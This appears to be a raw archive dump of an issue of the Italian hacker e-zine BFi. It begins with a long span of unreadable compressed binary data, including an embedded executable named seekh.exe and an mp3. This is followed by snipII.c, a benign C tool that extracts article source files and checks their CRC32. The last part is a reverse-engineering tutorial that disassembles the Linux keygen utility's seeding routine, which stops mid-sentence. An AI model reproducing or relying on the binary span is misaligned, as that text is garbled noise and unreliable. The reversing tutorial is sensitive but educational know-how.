t?RK!?ոAR$Ke%EĺM488!&zCGfV:Ob+tbqɣ3WC #V#p a`JcEx^N囁;L#̨I.th)씀/ n,GRG'+[0AjoĶ )ƛ3f*BÃo$ԌJeH4-(htQs@Lse&2 -ybxƻ;|+*cV #4֥hALd kfM s¨.N;H ;l=)4ܻ]_~1_ >ל~s|_{~K|/xwO_ϴKXpp<:ś*F SL°)!؍p v338=u]udmƣ8̬ysC1--ү j7ǣop2 kKN'b<[r(SQ?JT:JAb%c[ ЗѪCv_RĀfb'̱KLzmhpS2rj1uHb`,ˇ|yRQs5i6>e>$"gxf?~sI|??WSsш}s|tLGlft/}P<<{?;Go>i(B5 GE/{3KFKJgn`#/\6k ;%5]؍~ק + a(q  6 ] !$a=\|g10<X97G #}&[dG)Ǹ 9?=G'qy}CK:§~sk"~NNt?3s<[ǺC9<4Nͣ}xOĵv[ܢp75#9vStS>k^GlE,꧈{kCy5ZƜ8<kMYi`%JΝL$uP0hO5+K43`ᖉ@ۖi>f +EE$q77}a.w0A7-P/L2Tv ';Qք cm^B&֘Z<{"4M)5*V' ֪cJ q)c#_HXi,?V ѻ7 l,UZ Ĵ 6RDfu7AP8c)kWQ6%%$*|TlO̥$yNs7^UZ-̼b7J-w&O-NҌ΋̳M@HijW.딭@XTw ;HYAԋvT˖1rFd}b=eHrYY'pre+WiH cɿ3 D$LBҪ;k/w4RUTiH`i؊붯.e5sU޺’4)+/F 5 UrmLFBWR`!trR29zOˮ9Qi>'.߰+˳gOޚrewճ/>?wO{`OI?ʰ{wf{"o\ys]D9ꋥ47ڷ9OATQj%Fh#.O緒X4ewT>  sUr`mԗmñЛѹ[*{=X8U]vM7xNIsWesG$Zc;1kQbȈ0#f[|JP=u%5P6(h3]t x1o@[3Xf@%}K/Hw}LnfR8Y as))@y[# 2`r^vq Qi 3zdjed?PؠMvݩwh¤C3A:``z[6sE_Xotm9μ4\Q9G|Ȫ|g7z> m 8ӧ{{ $` aR a (6vݵwBB`jdͷ+[ל~2>zrs ` -Vd.!66ݒtIMXmնRz*QgX1tKF", f12,vH1@Ӟ|g"zdx>X2QU-)h@e11 c#ޘ:u98HVJl` :Γ.iGᩒwφiVd!{X/vUr@sEg(9UNL,q42ɱ"ThxBgC2ئ7 ʈZěM؍Fi!ѿ%[VK W I".pvH@ ǣN !|nY! 16KhxFoqv!)KE\yTǨ'.Է02ʼ0nWZZ*1 FW55і̘P/g/xk`~ _|*GdzOO\aq\g4rx0?e#\i7OVS>lڂS:*S1vq? >JQ*v7k۽3Χ #A 9!5]~=.,9 -iTJձHhӌPX[6r jHw%};YjG޼hk-.QApLYa04\/=`NJrm91L/ =oZ9 1b_8nb#.f\wlF"T n%/h8 bLhmk j%g)]5}&x,}˫\/%/f7bT3 mvJY4tpF}Uf]bdqZ!M弖 i"Poa-\0aQv|KD 6 4X^Z2տ\]yyMb6D=O8hԤJPu1K6ݢaDo6ܧ,DLL֞-h"ⴳz|ܐw84ݯf1"ty"¦Jƞk6-'&(+-7)j4#f}h>-3c rmsOa7u̞=ߧh %b,FSfD\\`A 'I6f6>:Bo'S/-L;XZ=$Teo2i0a֒eezx/MrC ~PSu^V4 CLi$3󽼖)Վ&u R`^4M;ʇ ٮ7o=uuѦ焩i*|'~++)jmyQ4eqx+Mr4jBJ!ha5Mhሯ0xTTwmau'%H$g݋cn2 ̻dm!֔36f)qc6%q F|%H;ԩBo |hҎd&ݿ BWY&j!$(_ba͈U,K1̧(G,X*q5+A+4ړXC44C!v P9X뵰n039yg߾kR4O~k wGsiLbA&C oY1ߕ}jSSlWaw!Mƴ}zۤIޓOp)[d8"ԂAN{ ;jεΥ^_쪟b62GL]Td6A*j9is xq~jZ9ba^t|DzoA/{ eO'ĦOSsU| dSإ/޸RVEc ԉg+zHѯ<fn=)_/]DD8i~M=m25 []?P]C槟qVpmjNEHb7Vut򒛉Xb d@i[)>,/a3Q0PK"l(fZS END001.DAT qtLVLIU(33LJ-IT@ɚ F e9e  i%Y H_IFfBAQ~zzXT RQ PKf( H7c? seekh.exeTKר]ݓÐs,TADQJt `:*rQ$":"* o{߻v離Uf3H` xETȠy/YO7gBJEF=t-c{.շ֍N 32qM4%V d6bX@4?@@NxMmٔp1'OW ?p-lm{w#?[Fx50gT~ UZGa 7ͼGj fMG\5J_w;Ò^^Q{3٣x!AC?}GZˑnBZ ZdnYBXd+Qa DMB`&10js-5\zx8T(S%4•vWBu@QLu&sosMq/.TlQeMrÈi]Ħ-k҈hw><`-F N՗QP qd2mc.P[90%Z-p(eӕpYY&kee\2pN9%/Θ VY)Ff]N"/,C&T/H֊)۾Rliz(/'33yxOL@{֞<> Nbg&)#nל 0s/ g9ܻPC'ϟM{KRYsAioqw-r\!wT 2џ m#J Ȫ9!tE3'ʻޕb[e=k'Gif3XDқFU"#Y)3VVkcy_|OFኻ .'8HO<89 nO_0@hF|E.^:_K|*Cn wfr#qO_ N;J~nuqd"7Wr,];l\L}h'9Wnxj//޳Z)BA=dkl9~Ⲙ[ּj٬3zY.,&t r#3@1-'- qcFҮU=95U.jSF*Z#"c||:?3}1ޛ6ӻ9`#"h# j~ƗXP N^R*kdث1R=s6hSJɺ"w'|S>㚚-=> yN/Rx%Lj1=E=Q׊P[@D~4OF_AHK=oݤjx\'b(BWVu֖g[)N#$?+!$}-yc'g[ytxNT&^.8,_!8#MUSKoГk_,XLܩɛ8}5,xp[U)eZaX弹%' /d6Oz tJXY @/\Ȫ/qwN *qfa}noupO(m.W5+v>V%8m(5#)G["Shdˮⵦ= `^H6}pSǹ`AѐE7S|KV4j#cY|L?EȢUeI'$ev B3 A_m%/[;̣BH*)C򈄼$U&]!=Gw+E#uΑ,7H$rP*G[2$w1sky%M;V4>o/RE%IK>٦'|O)Y^9'ԓtˠžJq򬨹 ᢎgw^ rC| \}%ނKҋU$q޶b3;Hg$s^O%=0G.J_ttAqaUIc ոe}=i$R\FB掕VQSp2~|h6ėM]x%`*2'">?3?:NTCF4]g:MR#$Ĺx##*nz?o?1T)lg]w3$ tpyI vWep&ْWH!lE5sk:4vB'>SC-:c%-^[jڣ*[,? 84HkW&5<~>jjc٢{MzH&fG熕\[knYʍ]o7+Il1#eL~'9NvdX7 71nڂ$}J}ƺzcnAYx!sq2j:c&!m,]7p>TAl+SI14[w1xbg+YU^UOIw[t1/ffi^LűtmzrU'֙oq}g9++;׷O:ۄӭ:m1E0CeEgEiyy))VEeM5H@D jhe8<\3j(+(`S8#քvſԮ. > - FVs$ؖGlp)#yʳ?$REdsbʄD>LPR7&/6lhA5!'o|sr6b }QpV1N"*(y-c\ە8qtWWN*2ԜtƼ^\\֑s4+e 9N1[O#iOu-ms9T/qZ޳SSO-,I'<{ٴubi3e@sG_E>Gn_ݜ$80<1e56񈘾[m. >Q٠Ͻp.Cܯ͉Ή0pyyvs%+=wm،q?$Z庴~BL3e! p`hrzdox |`kbg{ K= aM4"5j R2_Z'c/}(6@zi94ɗwH5V|kGnZS_ŴD0+㾩niV)"V3+L]`[rm [l :26fFd!3@FM^?=hOg;qqmܯz_Cٺ ס=DD[YKY-"f.m7_@S)tX@tb:/nSouJ_JXNlu@O7|,{P:ȸwwW<ߑ-٤iKFX"4[ Rч`W^ۺ^6?-ygXCz#*|3r->%96)dʙ{ 4);~`ue ^)׸ɸ9Vg|_)ΤvCK߲;{%lbX,r6y>Icn1cP<-d3R =;3E_3mu8;TMycf3^|Mؙl;a~KT}{6~ wX#$٦ӟߤYhZ2 Iqa W\czq^Ka]Ksr6dVQEYQoD@J|lcnk P3CT^4FPIYmTyRiDyS.GB;~y˧_|mV2T3l|&wZ69s¨ RvJRvΊ>,6ZY5d(E9ӻ]Q`&0>5C;'etKU*oѧj|}]{3}I z꾯}XRzΘε"Ĺ&)]Yl&;'涋Xb|q[O "Zd{i+/t(梨vuQIK:n֤WԴ:Pzz܀ ֚w"1YTlgbGLgRzcdi%7nL?{˚ˇ^-LS-Gh  ͝qlO ߷j }C;sӟxݛS~&o/Zsus;.sU_̈mV?rm+b6)Vp_8>(*uxk(~( D>E E&fP4P W?rZ2-B⭞QU/|-0]HS=Õ!ZZ9tn ZVj}fk8Y/l wGE(XT&QN5Usg<(M 2]4.s|.#o7,4J%u%Y=ش}M*zrimՔ83뷚Xdk[FQTtUS+"i!T<.=NKOr{첿@׽Q*}-7udJ'%kȬP|_wʾyEtVKsɈ91C\7qBʺtF9)d'9oJ=&`2N]6%apT2R"$\]x%`Y/gȳ y^7~h=1+}ml/Txjt OӦ>ѳ[!l=2OM]tLYz폇7\xT=iQʔ۷`mGKI{ǰQ4SZ R̘Ȫ.IG"fwUjge>opr7'e+Ees Ѵ .4ܢdY-S?džEUZEXoWEFJa{z-+j:&3)׸/M3-ǮC9{mBСsVމ#)y7vCyM;eOT[j5v171c nZfPaf3+$:SZ٭ ^6 XA `V,IaMR՛G- yP-nA>j|vjyb;;q; 3fKdӰwNB{|D?[-Jt2Je*~sk y)iA<#hג\a)T:=IzTѓ X>-ԯkfEb)ŹqH=,鲆#zOz'7Qsxe-מyGoVpSғDY!+~LyJ>[IF #m*UnEC+4V KyEgTom5^W?O[d\nkC&f b6zxd8Y#s1^nOi*om]WlӇ#mMo7@j2m EŏnJxt'hinjLMOlaHVϷz5 [N-J вU˺GnUB&{qi9[9YCu:MgM?gB*=we\!~.l*e З|H^ѷ 3Wg *[ xӳbpv0x >Je}9{kqp]GidWȔOqaȪSŏO(=myfٕq"QUL|X(mŷ6; }w~-=N]SHXj __eG:ٙJFލ'ʌ;boUʮ,J~R]faN :'Jt1!rqmq`}عc}^[yכJ@Ňap|*bnNj _ke)Wj9l0 Z *$bdRZ:rm3|1Dcy3:挩ù Xmu?Ȼ[%{_ZCPc`ߥ-ÃfߤVmiVia4QzQƽ~ n@"Mt7]u1Futsm`?*K>Q **[{8Os=..: fj'6/nqO31toJ.ڱ~b^&G>&on) =uk'k+{@{`Mzz X&KJnqao7%'EBKW?ѬͲz7sw+uCu_C!vF4z0.2pW?߷-R}D)a4XIū 1"1Jzs%dn$4vi_$#Ih! DeDDdxR**Bm JFbt.Xkv$ݓ|FTl=EꥣHrj Fb#b"˞H<.;d7&sʀbC4ii Y'iiBÄl~t*R/:TJUBTt)<3'lL%?NQ"4E%aj+Cd9^eMHi7nŕ Z]$%K} 9KUibz$Lcf-J v4JQL՜hS]d\PkRpr[!HSK <@88k乂wI?;o9rǟO$Mev9]QНvh+Aŝ7@&P Z;35Dksš+ M6-+[ʖE+c O%p)Jp̶90>_V݌@ӾL\([P3P0DTc%?>Y\.QWaC%<*b@@ 0 aaoVĀR h@xcQ  ̊r&*W0 ⨴a  $*H߀^6f*qȣTNkʨdc 08g]5T1X9 Qa OOZ\@.*0X P@3'`29#T\00F< 6)s sw*Cc|3ؓ,AeX|0Œ,& jq ⎅ 6;LcӀ,Gk8a 1HWT<0pC I,`- <1bF ި<W Vr/*70CutJBlMcQDwA n B%A(YE 5`-) CgfLuţΘ RP؀*Cc܄QvB46;lĖP`31Aa (p0C!xa Q؉ IخĀB:21HFa7)(`| p ` R ~atti/e82Q(` 1Bl`qA^ (CA 0E!|#ͧ:B|2"_)pM؞Bk͂O c+VsMW18f o0! Ρ< \@a(| \FW,r*v K|ԫ(`/ XJ^˿xAbqQq_+_U۰ +mfа?c=,c3ol&oymm/Ao?nj?y{QQ%{|wž7yVДqBzAN[±QAs0TiXhb@y:ߢtMڟ(chjC8$e/n1ip}U-FW :ƉqHCj@ZL u+ MHDC 2L C@=dZ }bZ@6"lP& `g`Gxn` lA RaO ^ Pj8>< 9n=pmA{pQ`.6ǸMh b$.hb|poxy5 lg~7؎vz>0\L_to@7|<׷ (#màp|!ScJ,tq Ω $0" 6Oij Mσ.0Dƈe t^I`1ؒj+dnFR=xJjI`tL $w2r+XIn`&Q#1B~j(ρХtKKD+)= ҋQ^J`SAeQހB[p2J(-GyS>7`>S?&Ud#hROBP28xNCI0Ji GY`NC2iM$A#@hDU(P# }ѠE }:Bt1ȇ.mK@tI(. @tY.uWtEheHADQ:9{@ e_'?o_'_ofg]|Wآ7=='ЦAnh_گ|̷W 0 ?W[0|_[e/_װ07o'__?rCiPy99cθ{yb.{u)tU~v^^N um',t<ܼ||ݼ5qsvÜ }&ξNvAXQ 0{_l(?rveC#pp{w{b~ؤy+MnQա[|݄Ntyxc k>8xata8|i~yYr.,k [XnxsÅ6w~|5Cr~ﲓ?2, 9Y蒫/7곣ϟLQI *lL6m9QQ,Jؑq.nIIhy3O)6 >"#@;6 Sb~]JX|x\$ fYf{̄WS` Hߨ%wز O)6СPuPKll(?ZRk beg001.mp3 ts;暖[  pb`L@z.dMKL.aRK'uqAN7f /[8<ܘ&9Bs=]4|r9}k=7 Z0.K`Pr<Ѱe܋2g5p<9mf|>|I~gƆ< l(#)N W%q%4EynJq8 | ?vؼUߘϟeƔSD8j M ϖ=h䳟.,j,lq? ^52l0Hs0pP1`>h kxi O#tO, ?4(ܕpTp`=uu]$ {aN3AS(:8X03lcp`){X4Dq0?\a.9jΚޓεM֩k}XOHMp]פEaܣ$̮ye6?0KKزeh7?,e^r!(X =?v8ZiGM1G{fPxa Q'2e4lǜgjUxdz'KĹKgSV,a u%Ks|=ğOٔ!e{H9x/6l%pl/c ]5ӔO0a瀒eY1c __/4>#)Pc01:vsz?~u=B>HDs‘V'qc?JKM$:TiZF8Y$ y4i h=^Ȩ yd񂮅xxn(y@R!nόlFckr׃S qKgI>n#k Dwbm0]|[.[Q*З Vy)FTlva,9hR3h$Y c`po X8,"(#(x,48I?W2JhWڡ ib)lƇcb԰ylADnJUl&M2HĆ2^rx'KץI2[b~Sځ+6$v~V/蚺T-J-(숟` ;9ZxbyOs}pK/yqwYطp#/=ѵTE6/Hy6T mض:!x8V|v(X[,[ t'm2H3&XGjQ(>KdZF\<b }n&nc=$0wA"0:lqy[CE>BG>m23ӭ.q/w? au}xafr;4`o8?}sGR/7;[N $./#Dchr^s\@ޞwMT2{RtM;^1e28{; lK׺H"G**'JbFL:ڶcuma֗ǭ+w_4dM-˹m[2f+Vږ^vQ&>Q46[|~@]˺Y2qy*-_(D6]!}{L޸tE,ZU琮^OswĿΈyc Sƻ愕xeEWye(YՓ\$oQ\-M}3ELzdіVLG>Lm v4{Vb*sSn4BXDa)j 9_MB RBDO.DzΚ  #<@ 1B.cƬ O2F,M&~zܼ P՚7O(󢰔?9up #+)BFfnL7tEeJsDytVARk'ٗt$F.2얇)%{I)KjpE3E"L+)3<=Za:Y3!/߲hq)u=sqQkvX+>U]QdO}s$[ЃYvFyO`p깪mJ[*TfTU}Ǖ)x]/~*vIC_gm܉Ff3<1M-\ԗA8(ApPV*MR۸+fJ+W(f_TK;b̜KnYmj]^+-q{=KW&xbu}?RO&xyfThk)*BFi-9/attachment/snipII.c0100644000000000000000000001746507204353671014076 0ustar rootroot/* * Name: SNiP II * Date: Tue Aug 15 14:04:52 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * SoftProject 2000 - Digital Sekurity for Y2k * Sikurezza.org - Italian Security MailingList * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: FreeBSD 4.0-RELEASE FreeBSD 4.0-RELEASE #45: Sat Au i386 * * Snip for definition is coded during alcohol abuse ... This source can't have * a good style, logical parts or sense... I apologize... snip! ;) * */ #include #include #include #include #include #include #include #define BFIART "BFi" #define DIRNAME "bfisrc" #define BFISEP "<-| " #define BFIEND "<-X->" #define BFISEP_LEN strlen(BFISEP) #define BFIEND_LEN strlen(BFIEND) #define BUF_SIZE 1024 #ifndef S_ISDIR # ifdef S_IFDIR # define S_ISDIR(i) (((i) & S_IFMT) == S_IFDIR) # else # define S_ISDIR(i) (((i) & 0170000) == 0040000) # endif #endif #ifndef S_ISREG # ifdef S_IFREG # define S_ISREG(i) (((i) & S_IFMT) == S_IFREG) # else # define S_ISREG(i) (((i) & 0170000) == 0100000) # endif #endif int usage (char *cmd); void dir2file (char *dirname); void snip (char *filename); int checktype (char *name); void createsrc (FILE *in, FILE *out); int makedir (const char *dirname); unsigned long checkcrc (FILE *fp); extern char *optarg; struct { int st_snipped; int st_directory; } snipstat; int main(int narg, char **arg) { return ( (narg!=2) ? usage(arg[0]) : checktype(arg[1]) ); } int usage(char *cmd) { printf( "\nSNiPv2\n" "Usage: %s dir-or-file\n\n", cmd); return 0; } int checktype(char *name) { struct stat chk; bzero(&snipstat, sizeof snipstat); if (stat(name, &chk)) { printf("Hmm %s doesn't exist\n", name); exit(0); } if (S_ISDIR(chk.st_mode)) dir2file(name); if (S_ISREG(chk.st_mode)) snip(name); printf("\n%d snipped file\n", snipstat.st_snipped); printf("%d directory created\n", snipstat.st_directory); return 1; } void dir2file(char *dirname) { DIR *dp; struct dirent *de; if (!(dp=opendir(dirname))) { perror("[dir2file] opendir"); exit(0); } if (chdir(dirname) == -1) { perror("[dir2file] chdir1"); exit(0); } while ((de=readdir(dp))) { printf("[%s]: ", de->d_name); switch(de->d_type) { case DT_FIFO: case DT_BLK: case DT_LNK: case DT_DIR: case DT_SOCK: printf("skipping\n"); continue; } putchar('\n'); if (strstr(de->d_name, BFIART)) { snip(de->d_name); } else printf("\tnot found\n"); } closedir(dp); } void snip(char *filename) { FILE *in, *out; char buf[BUF_SIZE]; static int passed = 0; if (!passed) { makedir(DIRNAME); passed = 1; } if (!(in=fopen(filename,"r"))) { perror("[snip] fopen()"); exit(0); } chdir(DIRNAME); while (fgets(buf, BUF_SIZE, in)) { if (!strncmp(buf, BFISEP, BFISEP_LEN)) { char *ptr; buf[strlen(buf) - 1] = 0; /* * create directories like in extract */ if ((ptr = strchr(buf + BFISEP_LEN, '/'))) { while(ptr) { *ptr = 0; if(makedir(buf + BFISEP_LEN) != -1) snipstat.st_directory++; *ptr = '/'; ptr = strchr(ptr + 1, '/'); } } ptr = strchr(buf + BFISEP_LEN, ' '); /* * create file */ *ptr = 0; if (!(out = fopen(buf + BFISEP_LEN, "wb+"))) { perror("[snip] fopen(outfile)\n"); exit(0); } printf("\tfilename [%s] ", buf + BFISEP_LEN); createsrc(in, out); *ptr = ' '; /* * check crc */ if ((ptr = strstr(ptr, "crc32: "))) { char *ptr_crc; u_long crc, gencrc; ptr += strlen("crc32: "); if ((ptr_crc = strchr(ptr, ' '))) { *ptr_crc = 0; crc = strtoul(ptr, NULL, 10); gencrc = checkcrc(out); if(crc == gencrc) printf(" CRC32 ok"); else printf(" CRC32 error: %lu", gencrc); *ptr_crc = ' '; } else { printf("no end of crc in snip hdr\n"); exit(0); } } putchar('\n'); fclose(out); } } chdir(".."); fclose(in); } void createsrc(FILE *in, FILE *out) { char buf[BUF_SIZE]; snipstat.st_snipped++; while (fgets(buf, BUF_SIZE, in) && strncmp(buf, BFIEND, BFIEND_LEN)) fprintf(out, "%s", buf); } int makedir(const char *dirname) { return (mkdir(dirname, 0755)); } static const u_int32_t crctab[256] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d, }; unsigned long checkcrc(FILE *fp) { register unsigned long crc; int c; crc = 0xFFFFFFFF; if (fseek(fp, 0, SEEK_SET) == -1) { perror("fseek"); exit(0); } while( (c = getc(fp)) != EOF ) crc = ((crc >> 8) & 0x00FFFFFF) ^ crctab[(crc ^ c) & 0xFF]; return (crc ^ 0xFFFFFFFF); } BFi-9/BFi09-180100644000000000000000000003501007204532017011344 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 18 di 21 ]------------ ============================================================================== -[ REVERSiNG ]---------------------------------------------------------------- ---[ KEYGEN REVERSiNG - STUDIAMOCi L'ALGO -----[ syscalo Tool dasm (lo trovate su http://racl.immagika.org sezione tool e risorse) Allegato keygen.tgz Descrizione Keygen e' un piccolo programmino che ho trovato nella mia distibuzione linux (/usr/bin/keygen appartenente al package rpm xf86-3.3.5-29) Il programma genera una chiave pseudo-casuale; a noi interessa vedere l'algoritmo che hanno utilizzato i programmatori e per fare questo procediamo disassemblando l'eseguibile. Iniziamo Disassembliamo il programma: rev@rVm:~/keygenRev > dasm keygen keygen.dasm (tralascio l'output di dasm) Innanzitutto rechiamoci all'entry point del programma; lo trovate scritto in chiaro nel disassemblato: start address 0x080484b0 Ok, ora vediamo un po' di codice: i miei commenti sono indicati tra /* */ o preceduti da # Disassembly of section .text: /* Come potete ben vedere siamo giunti al disassemblato della sezione text che come ben noto contiene il codice eseguibile del programma */ /* Tutte queste istruzioni vengono aggiunte dal compilatore per "lanciare" il codice da noi scritto */ 0x080484b0 xorl %ebp,%ebp 0x080484b2 popl %esi 0x080484b3 movl %esp,%ecx 0x080484b5 andl $0xfffffff8,%esp 0x080484b8 pushl %eax 0x080484b9 pushl %esp 0x080484ba pushl %edx 0x080484bb pushl $0x8048688 0x080484c0 pushl $0x80483ac 0x080484c5 pushl %ecx 0x080484c6 pushl %esi 0x080484c7 pushl $0x8048520 Reference to function : __libc_start_main 0x080484cc call 0x08048438 /* E da qui viene "lanciato" il codice che abbiamo scritto noi */ 0x080484d1 hlt Ma come facciamo a sapere dove inizia il programma vero e proprio? Semplice, basta guardare l'ultimo valore pushato a __libc_start_main: 0x080484c7 pushl $0x8048520 Il valore 0x8048520 e' l'indizzo della prima istruzione del programma. Ricerchiamo questo valore nel disassemblato e andiamo a leggere le istruzioni assembly; ho inserito anche la descrizione delle funzioni chiamate (estratte dalle pagine di man) per capire meglio cosa fa il programma: ############################################## ## ## Procedura generazione "numeri" casuali ## Estratta dal disassemblato di keygen ## /usr/bin/keygen ## ############################################## # allocazione stack frame 0x08048520 pushl %ebp 0x08048521 movl %esp,%ebp # allocazione spazio per var locali 0x08048523 subl $0x50,%esp #50h=80 -> 20 word # bkp registri a cura della funzione chiamata # infatti questa parte di programma e' a tutti gli effetti una funzione e # quindi deve preoccuparsi di salvare i registri 0x08048526 pushl %edi 0x08048527 pushl %esi 0x08048528 pushl %ebx # INIZIO CHIAMATE A FUNZIONI PER OTTENERE VALORI DA UTILIZZARE COME SEME PER # LA FUNZIONE RANDOM # Reference to function : gethostid # # #include # # long int gethostid(void); # # # Get a unique 32-bit identifier for the current # machine. # 0x08048529 call 0x08048488 0x0804852e movl %eax,%esi #%esi=(#1) # Reference to function : getuid # # #include # #include # # uid_t getuid(void); # # # getuid returns the real user ID of the current process. # 0x08048530 call 0x08048458 0x08048535 movl %eax,%edi #%edi=(#2) # Reference to function : getgid # # #include # #include # # gid_t getgid(void); # # getgid returns the real group ID of the current process. # 0x08048537 call 0x08048468 0x0804853c movl %eax,0xffffffb4(%ebp) #(%ebp-4Ch)=(#3) # Reference to function : getpid # # #include # # pid_t getpid(void); # # # getpid returns the process ID of the current process. # (This is often used by routines that generate unique tem- # porary file names.) # 0x0804853f call 0x080483e8 0x08048544 movl %eax,%ebx #%ebx=(#4) # Reference to function : getppid # # #include # # pid_t getppid(void); # # getppid returns the process ID of the parent of the cur- # rent process. # 0x08048546 call 0x08048428 # NON SALVA IL VALORE DI RITORNO - chiamata inutile # Reference to function : getpgrp # # #include # # pid_t getpgrp(void); # # getpgid returns the process group ID of the process speci- # fied by pid. If pid is zero, the process ID of the cur- # rent process is used. # # getpgrp is equivalent to getpgid(0). # 0x0804854b call 0x080483f8 0x08048550 movl %eax,0xffffffb0(%ebp) #(%ebp-50h)=(#6) 0x08048553 pushl $0x0 #parametro2 per gettimeofday 0x08048555 leal 0xffffffb8(%ebp),%eax #copia ind %ebp-48h in %eax 0x08048558 pushl %eax #parametro1 per gettimeofday # Reference to function : gettimeofday # # #include # #include # # int gettimeofday(struct timeval *tv, struct timezone *tz); # # gettimeofday and settimeofday can set the time as well as # a timezone. tv is a timeval struct, as specified in # /usr/include/sys/time.h: # # struct timeval { # long tv_sec; /* seconds */ # long tv_usec; /* microseconds */ # }; # # # and tz is a timezone : # # struct timezone { # int tz_minuteswest; /* minutes W of Greenwich */ # int tz_dsttime; /* type of dst correction */ # }; # 0x08048559 call 0x08048478 0x0804855e leal 0xffffffc0(%ebp),%eax #copia ind %ebp-40h in %eax 0x08048561 pushl %eax #parametro2 per statfs # Possible reference to string: # "." 0x08048562 pushl $0x80486ac #parametro1 per statfs # Reference to function : statfs # # #include # # int statfs(const char *path, struct statfs *buf); # # # statfs returns information about a mounted file system. # path is the path name of any file within the mounted # filesystem. buf is a pointer to a statfs structure # defined as follows: # # struct statfs { # long f_type; /* type of filesystem (see below) */ # long f_bsize; /* optimal transfer block size */ # long f_blocks; /* total data blocks in file system */ # long f_bfree; /* free blocks in fs */ # long f_bavail; /* free blocks avail to non-superuser */ # long f_files; /* total file nodes in file system */ # long f_ffree; /* free file nodes in fs */ # fsid_t f_fsid; /* file system id */ # long f_namelen; /* maximum length of filenames */ # long f_spare[6]; /* spare for later */ # }; # 0x08048567 call 0x08048408 # a questo punto e' terminato il "recupero" dei valori da usare come seme per # la funzione random. # ora il programma prende tutti i valori ottenuti e li passa uno 